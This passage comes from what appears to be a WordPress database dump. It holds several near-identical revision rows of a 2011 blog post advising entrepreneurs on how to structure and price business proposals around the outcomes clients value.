services  you will provide to complete the assignment.\r\n\r\n<em>Your Proposed Solution</em>\r\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desires outcome. Every process must be anchored to a desired outcome.\r\n\r\n<em>The Financial Value of the Solution</em>\r\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\r\n\r\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\r\n\r\n<em>The Support and Proof of Your Stated Expertise</em>\r\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\r\n\r\n<em>Appendix</em>\r\nUse this last section to include any process or financial detail that supports the previous content.\r\n\r\n<em>Proposal Acceptance Page</em>\r\nThis final page is where you obtain the clients acceptance to provide your closing contract.\r\n\r\n<strong>Winning proposals present themselves</strong>.\r\n\r\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\r\n\r\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\r\n\r\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\r\n\r\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-revision-6', '', '', '2011-06-12 10:48:44', '2011-06-12 17:48:44', '', 1624, 'http://www.whitehotcenter.com/2011/06/12/1624-revision-6/', 0, 'revision', '', 0),
(1633, 2, '2011-06-12 10:48:54', '2011-06-12 17:48:54', '<h1><img class="alignnone size-full wp-image-1628" title="winning proposal" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal1.jpg" alt="" width="485" height="333" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\r\n<div>\r\n\r\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\r\n\r\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\r\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\r\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\r\n\r\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\r\n\r\n<strong><em>Can the client-to-be-afford you?</em></strong>\r\nNo sense wasting your time if the client can’t meet your minimum requirements.\r\n\r\n<strong><em>Are you a good fit for this opportunity?</em></strong>\r\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\r\n\r\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that you are the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\r\n\r\n<strong>Winning proposals tell a winning story.</strong>\r\n\r\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\r\n\r\n<strong>Winning proposals eliminate risk.</strong>\r\n\r\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– that surprises and delights them!\r\n\r\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\r\n\r\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\r\n\r\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently perceived as less valuable.\r\n\r\n<strong>Winning proposals are well organized and complete.</strong>\r\n\r\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\r\n\r\n<em>Introduction</em>\r\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\r\n\r\n<em>The Clients Desires/Objectives/Outcomes</em>\r\nState your deep  understanding of your clients needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\r\n\r\n<em>The Project Definition</em>\r\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\r\n\r\n<em>Your Proposed Solution</em>\r\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desires outcome. Every process must be anchored to a desired outcome.\r\n\r\n<em>The Financial Value of the Solution</em>\r\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\r\n\r\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\r\n\r\n<em>The Support and Proof of Your Stated Expertise</em>\r\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\r\n\r\n<em>Appendix</em>\r\nUse this last section to include any process or financial detail that supports the previous content.\r\n\r\n<em>Proposal Acceptance Page</em>\r\nThis final page is where you obtain the clients acceptance to provide your closing contract.\r\n\r\n<strong>Winning proposals present themselves</strong>.\r\n\r\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\r\n\r\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\r\n\r\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\r\n\r\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-revision-7', '', '', '2011-06-12 10:48:54', '2011-06-12 17:48:54', '', 1624, 'http://www.whitehotcenter.com/2011/06/12/1624-revision-7/', 0, 'revision', '', 0),
(1634, 2, '2011-06-12 10:49:06', '2011-06-12 17:49:06', '<h1><img class="alignnone size-full wp-image-1628" title="winning proposal" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal1.jpg" alt="" width="485" height="333" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\r\n<div>\r\n\r\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\r\n\r\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\r\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\r\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\r\n\r\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\r\n\r\n<strong><em>Can the client-to-be-afford you?</em></strong>\r\nNo sense wasting your time if the client can’t meet your minimum requirements.\r\n\r\n<strong><em>Are you a good fit for this opportunity?</em></strong>\r\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\r\n\r\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that you are the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\r\n\r\n<strong>Winning proposals tell a winning story.</strong>\r\n\r\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\r\n\r\n<strong>Winning proposals eliminate risk.</strong>\r\n\r\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– that surprises and delights them!\r\n\r\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\r\n\r\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\r\n\r\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently perceived as less valuable.\r\n\r\n<strong>Winning proposals are well organized and complete.</strong>\r\n\r\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\r\n\r\n<em>Introduction</em>\r\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\r\n\r\n<em>The Clients Desires/Objectives/Outcomes</em>\r\nState your deep  understanding of your clients needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\r\n\r\n<em>The Project Definition</em>\r\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\r\n\r\n<em>Your Proposed Solution</em>\r\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desires outcome. Every process must be anchored to a desired outcome.\r\n\r\n<em>The Financial Value of the Solution</em>\r\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\r\n\r\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\r\n\r\n<em>The Support and Proof of Your Stated Expertise</em>\r\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\r\n\r\n<em>Appendix</em>\r\nUse this last section to include any process or financial detail that supports the previous content.\r\n\r\n<em>Proposal Acceptance Page</em>\r\nThis final page is where you obtain the clients acceptance to provide your closing contract.\r\n\r\n<strong>Winning proposals present themselves</strong>.\r\n\r\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\r\n\r\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\r\n\r\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\r\n\r\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-revision-8', '', '', '2011-06-12 10:49:06', '2011-06-12 17:49:06', '', 1624, 'http://www.whitehotcenter.com/2011/06/12/1624-revision-8/', 0, 'revision', '', 0),
(1635, 2, '2011-06-13 08:42:26', '2011-06-13 15:42:26', '<h1><img class="alignnone size-full wp-image-1628" title="winning proposal" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal1.jpg" alt="" width="485" height="333" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\n<div>\n\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\n\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\n\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\n\n<strong><em>Can the client-to-be-afford you?</em></strong>\nNo sense wasting your time if the client can’t meet your minimum requirements.\n\n<strong><em>Are you a good fit for this opportunity?</em></strong>\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\n\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that it''s the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\n\n<strong>Winning proposals tell a winning story.</strong>\n\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\n\n<strong>Winning proposals eliminate risk.</strong>\n\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– in a manner that surprises and delights them!\n\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\n\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\n\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently will be perceived as less valuable.\n\n<strong>Winning proposals are well organized and complete.</strong>\n\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\n\n<em>Introduction</em>\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\n\n<em>The Clients Desires/Objectives/Outcomes</em>\nState your deep  understanding of your client''s needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\n\n<em>The Project Definition</em>\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\n\n<em>Your Proposed Solution</em>\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desired outcome. Every process must be anchored to a desired outcome.\n\n<em>The Financial Value of the Solution</em>\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\n\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\n\n<em>The Support and Proof of Your Stated Expertise</em>\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\n\n<em>Appendix</em>\nUse this last section to include any process or financial detail that supports the previous content.\n\n<em>Proposal Acceptance Page</em>\nThis final page is where you obtain the clients acceptance to provide your closing contract.\n\n<strong>Winning proposals present themselves</strong>.\n\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\n\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\n\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\n\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-autosave', '', '', '2011-06-13 08:42:26', '2011-06-13 15:42:26', '', 1624, 'http://www.whitehotcenter.com/2011/06/13/1624-autosave/', 0, 'revision', '', 0);
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(1636, 2, '2011-06-12 10:58:15', '2011-06-12 17:58:15', '<h1><img class="alignnone size-full wp-image-1628" title="winning proposal" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal1.jpg" alt="" width="485" height="333" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\r\n<div>\r\n\r\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\r\n\r\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\r\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\r\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\r\n\r\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\r\n\r\n<strong><em>Can the client-to-be-afford you?</em></strong>\r\nNo sense wasting your time if the client can’t meet your minimum requirements.\r\n\r\n<strong><em>Are you a good fit for this opportunity?</em></strong>\r\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\r\n\r\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that you are the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\r\n\r\n<strong>Winning proposals tell a winning story.</strong>\r\n\r\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\r\n\r\n<strong>Winning proposals eliminate risk.</strong>\r\n\r\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– that surprises and delights them!\r\n\r\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\r\n\r\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\r\n\r\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently perceived as less valuable.\r\n\r\n<strong>Winning proposals are well organized and complete.</strong>\r\n\r\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\r\n\r\n<em>Introduction</em>\r\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\r\n\r\n<em>The Clients Desires/Objectives/Outcomes</em>\r\nState your deep  understanding of your clients needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\r\n\r\n<em>The Project Definition</em>\r\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\r\n\r\n<em>Your Proposed Solution</em>\r\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desires outcome. Every process must be anchored to a desired outcome.\r\n\r\n<em>The Financial Value of the Solution</em>\r\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\r\n\r\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\r\n\r\n<em>The Support and Proof of Your Stated Expertise</em>\r\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\r\n\r\n<em>Appendix</em>\r\nUse this last section to include any process or financial detail that supports the previous content.\r\n\r\n<em>Proposal Acceptance Page</em>\r\nThis final page is where you obtain the clients acceptance to provide your closing contract.\r\n\r\n<strong>Winning proposals present themselves</strong>.\r\n\r\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\r\n\r\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\r\n\r\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\r\n\r\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-revision-9', '', '', '2011-06-12 10:58:15', '2011-06-12 17:58:15', '', 1624, 'http://www.whitehotcenter.com/2011/06/12/1624-revision-9/', 0, 'revision', '', 0),
(1637, 2, '2011-06-13 08:39:50', '2011-06-13 15:39:50', '<h1><img class="alignnone size-full wp-image-1628" title="winning proposal" src="http://whc.fbdev.org/wp-content/uploads/2011/06/win-proposal1.jpg" alt="" width="485" height="333" /><span style="color: #808080;">No doubt about it, the proposal  is the main event in your business development activities. Proposals  that win business focus on highly valued outcomes your clients desire,  rather than a detailed outline of your processes and costs.</span></h1>\r\n<div>\r\n\r\nWhatever your business, at some point  in the sales process, you’re going to have to prepare a proposal to your  client in order to close a business deal. Being asked to present a  proposal is the main event of the business development process. All your  previous hard work turning a suspect into a prospect, and then into a  late stage buyer looking for a solution, has come down to this defining  moment–preparing and presenting your proposal.\r\n\r\nThere is no getting around this fact–how well you prepare your  proposals determines how much business you will close. Mastering the art  of proposal preparation is essential to your success. To help you craft  proposals that win business, here are some suggestions you may want to  consider.\r\n<h2><strong>Your purpose in preparing a proposal is to recommend a course  of action that provides a highly valued solution to your client’s  problem–not provide them a price</strong>.</h2>\r\nFor early-stage entrepreneurs, all sales are critical. When asked to  submit a proposal, it’s easy to jump right in and start thinking about  how to win the business offering the cheapest price. Your proposal needs  to focus on the “value of the outcome” to the client–not your process,  your services, or the value of your time.\r\n\r\nWhen prospective clients request a proposal, what they really want is  a solution to their problem. Your client will determine how much value  they place on obtaining the solution, not you.  If the solution is  readily available by lots of providers, clients will most likely place  little value in the solution and obtain it at the lowest price.  That’s  why it’s a good idea to qualify the opportunity!  Before you begin to  prepare a proposal, you need answers to these two important questions:\r\n\r\n<strong><em>Can the client-to-be-afford you?</em></strong>\r\nNo sense wasting your time if the client can’t meet your minimum requirements.\r\n\r\n<strong><em>Are you a good fit for this opportunity?</em></strong>\r\nIf the  opportunity doesn’t represent the type of solutions you are specialized  to provide, or doesn’t enable you to provide the client with your best  high-value thinking at fees that are profitable to your business, you  should pass. Taking work on just to pay bills is a sucker’s game. Your  success in the long run depends on engaging in only those opportunities  you are well suited to pursue, and provide profit to your business.\r\n\r\nOnce you have the right answers to these questions, you may determine  the opportunity worth investing your time and money in preparing a  proposal.  When you are positive and confident that it''s the right  fit, your solution is the best, and you will be able to command premium  pricing providing the solution, you’ll already be in a winning frame of  mind as you begin the proposal process.\r\n\r\n<strong>Winning proposals tell a winning story.</strong>\r\n\r\nWinning proposals tell stories about how your solution will best  serve the clients stated needs and desired outcome. It’s not about your  process or your services. Clients don’t care about any of that–they care  about experiencing their desired outcome.  It’s essential to have a  deep understanding of the client’s needs and desires, and what will be  